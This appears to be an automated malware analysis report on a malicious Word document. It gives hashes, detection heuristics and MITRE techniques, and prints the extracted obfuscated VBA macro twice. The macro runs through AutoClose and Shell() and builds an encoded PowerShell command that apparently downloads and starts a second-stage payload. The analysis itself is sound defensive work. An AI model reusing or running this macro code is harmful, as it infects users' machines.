Office (OLE) malware analysis — malicious · 869e2ea002f3eca4

MALICIOUS

Office (OLE)

90.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-11-20

MD5: 7840defe92fb3f2d3c8e2f165a79f9b2 SHA-1: b9c74de645c74e5b22d26e087cd90aa1f05e1d44 SHA-256: 869e2ea002f3eca4ce1b8254c4e892297c2cd9a6612676d6d8b222bb41059f92

242 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoClose trigger, which is designed to execute automatically when the document is closed. This macro utilizes the Shell() function to construct and execute a complex command string. The reconstructed command appears to be an attempt to download and execute a second-stage payload using PowerShell. The presence of the Shell() call and the AutoClose trigger strongly indicate malicious intent.

Heuristics 7

ClamAV: Doc.Malware.00536d-6736112-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.00536d-6736112-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA
Auto_Close macro high OLE_VBA_AUTOCLOSE

Auto_Close macro
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10711 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	10711 bytes
SHA-256: `37c8d5664f9d6ed29e683ad1ca2841afb0415037fdd0f3fcc67e3ad620ea782b`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Const KUraPUjYwUrOWajjyLuaAdOymapIpbyxuLihOiOxpuny = 0 Sub AutoClose() On Error Resume Next BuGAcAiytAcInapyrUrIPajVeDAKZAXuWIQU = "" + Format(ChrW(99)) + "md.exe /" + Format(ChrW(99)) + " P^O^W^e^r^s^" + Format(ChrW(2 + (35 * 2))) + "^e^l^L^.^E^X^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + Format(ChrW(99)) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^" + Format(ChrW(2 + (35 * 2))) + "^Q^A^" + Format(ChrW(99)) + "^A^A^6^A^C^8^A^L^w^B^m^A^" + Format(ChrW(2 + (35 * 2))) + "^I^A^d^Q^B^t^A^G^k^A^d^A^B^p^A^G^M^A^d^Q^B^y^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^S^A^F^U^A^S^Q^A^v^A^G^w^A^Z^Q^B^2^A^G^8^A^b^g^B^k^A^C^4^A^" + Format(ChrW(99)) + "^A^B^o^A^" + Format(ChrW(2 + (35 * 2))) + "^A" Dim GUQusIHaHANyVoweXYaYXOpobelUCOkYkigisA GUQusIHaHANyVoweXYaYXOpobelUCOkYkigisA = IsNull(Choose(10, "HetyZySyjiNINjUgiIt", "GUQusIHaHANyVoweXYaYXOpobelUCOkYkigisA", "HetyZySyjiNINjUgiItGUQusIHaHANyVoweXYaYXOpobelUCOkYkigisA")) IsError CVErr(6795) If 6795 > LenB(CStr(12 ^ 4)) Then Call IsError(CVErr(Val(CStr(HetyZySyjiNINjUgiIt)))) End If Dim hOEwoFuzUKuHuJVuVoLubyBEKiPUXAluNUkOm hOEwoFuzUKuHuJVuVoLubyBEKiPUXAluNUkOm = IsNull(Choose(4, "ZUjYfEMoTYdejilea", "hOEwoFuzUKuHuJVuVoLubyBEKiPUXAluNUkOm", "ZUjYfEMoTYdejileahOEwoFuzUKuHuJVuVoLubyBEKiPUXAluNUkOm")) IsError CVErr(2163) If 2163 > LenB(CStr(10 ^ 4)) Then Call IsError(CVErr(Val(CStr(ZUjYfEMoTYdejilea)))) End If SIaJYREgaiEvawaaYdevuRZyebeXiTeJUPok = "^A^P^w^B^s^A^D^0^A^Z^g^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^" + Format(ChrW(99)) + "^A^a^w^A^0^A^C^4^A^e^A^B^h^A^" + Format(ChrW(2 + (35 * 2))) + "^A^A^I^g^A^s^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^I^A^A^r^A^C^A^A^J^w^B^" + Format(ChrW(99)) + "^A^D^M^A^Z^g^B^k^A^G^E^A^M^w^A^1^A^D^A^A^M^w^A^u^A^G^U^A^e^A^B^l^A^C^" + Format(ChrW(99)) + "^A^K^Q^A^7^A^C^A^A^U^w^B^0^A^G^E^A^" + Format(ChrW(99)) + "^g^B^0^A^C^0^A^U^A^B^y^A^G^8^A^Y^w^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^" + Format(ChrW(99)) + "^w^A^g^A^C^Q^A^Z^Q^B^u^A^" + Format(ChrW(2 + (35 * 2))) + "^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^" + Format(ChrW(99)) + "^A^X^A^A^z^A^G^Y^A^Z^A^B^h^A^D^M^A^N^Q^A^w^A^D^M^A^L^g^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^g^A^Z^Q^A^n^A^D^s^A^I^A^A^g^A^E" Dim raXaZEWyiexGYFYdIojeRUiIamAVYWaGARyLo raXaZEWyiexGYFYdIojeRUiIamAVYWaGARyLo = IsNull(Choose(6, "GaNUjoenaaIByQ", "raXaZEWyiexGYFYdIojeRUiIamAVYWaGARyLo", "GaNUjoenaaIByQraXaZEWyiexGYFYdIojeRUiIamAVYWaGARyLo")) IsError CVErr(5047) If 5047 > LenB(CStr(13 ^ 4)) Then Call IsError(CVErr(Val(CStr(GaNUjoenaaIByQ)))) End If Dim NYcyLuXalMOQUbAriDcYzELqeiILAto NYcyLuXalMOQUbAriDcYzELqeiILAto = IsNull(Choose(8, "fEnYaEhEvabaq", "NYcyLuXalMOQUbAriDcYzELqeiILAto", "fEnYaEhEvabaqNYcyLuXalMOQUbAriDcYzELqeiILAto")) IsError CVErr(2677) If 2677 > LenB(CStr(11 ^ 4)) Then Call IsError(CVErr(Val(CStr(fEnYaEhEvabaq)))) End If Dim jEaPiWoXOLuiyiAHaWYkyJORoh jEaPiWoXOLuiyiAHaWYkyJORoh = IsNull(Choose(5, "paCVozudyaWquVip", "jEaPiWoXOLuiyiAHaWYkyJORoh", "paCVozudyaWquVipjEaPiWoXOLuiyiAHaWYkyJORoh")) IsError CVErr(4217) If 4217 > LenB(CStr(11 ^ 4)) Then Call IsError(CVErr(Val(CStr(paCVozudyaWquVip)))) End If Dim jAtUjyTUdoFiHUJiFIquiuxONykecunizezACEOLcyFe jAtUjyTUdoFiHUJiFIquiuxONykecunizezACEOLcyFe = IsNull(Choose(7, "nYiciQoHySe", "jAtUjyTUdoFiHUJiFIquiuxONykecunizezACEOLcyFe", "nYiciQoHySejAtUjyTUdoFiHUJiFIquiuxONykecunizezACEOLcyFe")) IsError CVErr(3835) If 3835 > LenB(CStr(10 ^ 4)) Then Call IsError(CVErr(Val(CStr(nYiciQoHySe)))) End If VAtORoVUguTyDujOheROZIqfOKynuaxylx = "^k^A^R^Q^B^Y^A^C^g^A^K ... (truncated)

SHA-256: 37c8d5664f9d6ed29e683ad1ca2841afb0415037fdd0f3fcc67e3ad620ea782b

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const KUraPUjYwUrOWajjyLuaAdOymapIpbyxuLihOiOxpuny = 0
Sub AutoClose()
On Error Resume Next
BuGAcAiytAcInapyrUrIPajVeDAKZAXuWIQU = "" + Format(ChrW(99)) + "md.exe /" + Format(ChrW(99)) + " P^O^W^e^r^s^" + Format(ChrW(2 + (35 * 2))) + "^e^l^L^.^E^X^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + Format(ChrW(99)) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^" + Format(ChrW(2 + (35 * 2))) + "^Q^A^" + Format(ChrW(99)) + "^A^A^6^A^C^8^A^L^w^B^m^A^" + Format(ChrW(2 + (35 * 2))) + "^I^A^d^Q^B^t^A^G^k^A^d^A^B^p^A^G^M^A^d^Q^B^y^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^S^A^F^U^A^S^Q^A^v^A^G^w^A^Z^Q^B^2^A^G^8^A^b^g^B^k^A^C^4^A^" + Format(ChrW(99)) + "^A^B^o^A^" + Format(ChrW(2 + (35 * 2))) + "^A"
Dim GUQusIHaHANyVoweXYaYXOpobelUCOkYkigisA

GUQusIHaHANyVoweXYaYXOpobelUCOkYkigisA = IsNull(Choose(10, "HetyZySyjiNINjUgiIt", "GUQusIHaHANyVoweXYaYXOpobelUCOkYkigisA", "HetyZySyjiNINjUgiItGUQusIHaHANyVoweXYaYXOpobelUCOkYkigisA"))
IsError CVErr(6795)

If 6795 > LenB(CStr(12 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(HetyZySyjiNINjUgiIt))))
End If
Dim hOEwoFuzUKuHuJVuVoLubyBEKiPUXAluNUkOm

hOEwoFuzUKuHuJVuVoLubyBEKiPUXAluNUkOm = IsNull(Choose(4, "ZUjYfEMoTYdejilea", "hOEwoFuzUKuHuJVuVoLubyBEKiPUXAluNUkOm", "ZUjYfEMoTYdejileahOEwoFuzUKuHuJVuVoLubyBEKiPUXAluNUkOm"))
IsError CVErr(2163)

If 2163 > LenB(CStr(10 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(ZUjYfEMoTYdejilea))))
End If

SIaJYREgaiEvawaaYdevuRZyebeXiTeJUPok = "^A^P^w^B^s^A^D^0^A^Z^g^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^" + Format(ChrW(99)) + "^A^a^w^A^0^A^C^4^A^e^A^B^h^A^" + Format(ChrW(2 + (35 * 2))) + "^A^A^I^g^A^s^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^I^A^A^r^A^C^A^A^J^w^B^" + Format(ChrW(99)) + "^A^D^M^A^Z^g^B^k^A^G^E^A^M^w^A^1^A^D^A^A^M^w^A^u^A^G^U^A^e^A^B^l^A^C^" + Format(ChrW(99)) + "^A^K^Q^A^7^A^C^A^A^U^w^B^0^A^G^E^A^" + Format(ChrW(99)) + "^g^B^0^A^C^0^A^U^A^B^y^A^G^8^A^Y^w^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^" + Format(ChrW(99)) + "^w^A^g^A^C^Q^A^Z^Q^B^u^A^" + Format(ChrW(2 + (35 * 2))) + "^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^" + Format(ChrW(99)) + "^A^X^A^A^z^A^G^Y^A^Z^A^B^h^A^D^M^A^N^Q^A^w^A^D^M^A^L^g^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^g^A^Z^Q^A^n^A^D^s^A^I^A^A^g^A^E"
Dim raXaZEWyiexGYFYdIojeRUiIamAVYWaGARyLo

raXaZEWyiexGYFYdIojeRUiIamAVYWaGARyLo = IsNull(Choose(6, "GaNUjoenaaIByQ", "raXaZEWyiexGYFYdIojeRUiIamAVYWaGARyLo", "GaNUjoenaaIByQraXaZEWyiexGYFYdIojeRUiIamAVYWaGARyLo"))
IsError CVErr(5047)

If 5047 > LenB(CStr(13 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(GaNUjoenaaIByQ))))
End If
Dim NYcyLuXalMOQUbAriDcYzELqeiILAto

NYcyLuXalMOQUbAriDcYzELqeiILAto = IsNull(Choose(8, "fEnYaEhEvabaq", "NYcyLuXalMOQUbAriDcYzELqeiILAto", "fEnYaEhEvabaqNYcyLuXalMOQUbAriDcYzELqeiILAto"))
IsError CVErr(2677)

If 2677 > LenB(CStr(11 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(fEnYaEhEvabaq))))
End If

Dim jEaPiWoXOLuiyiAHaWYkyJORoh

jEaPiWoXOLuiyiAHaWYkyJORoh = IsNull(Choose(5, "paCVozudyaWquVip", "jEaPiWoXOLuiyiAHaWYkyJORoh", "paCVozudyaWquVipjEaPiWoXOLuiyiAHaWYkyJORoh"))
IsError CVErr(4217)

If 4217 > LenB(CStr(11 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(paCVozudyaWquVip))))
End If

Dim jAtUjyTUdoFiHUJiFIquiuxONykecunizezACEOLcyFe

jAtUjyTUdoFiHUJiFIquiuxONykecunizezACEOLcyFe = IsNull(Choose(7, "nYiciQoHySe", "jAtUjyTUdoFiHUJiFIquiuxONykecunizezACEOLcyFe", "nYiciQoHySejAtUjyTUdoFiHUJiFIquiuxONykecunizezACEOLcyFe"))
IsError CVErr(3835)

If 3835 > LenB(CStr(10 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(nYiciQoHySe))))
End If
VAtORoVUguTyDujOheROZIqfOKynuaxylx = "^k^A^R^Q^B^Y^A^C^g^A^K
... (truncated)

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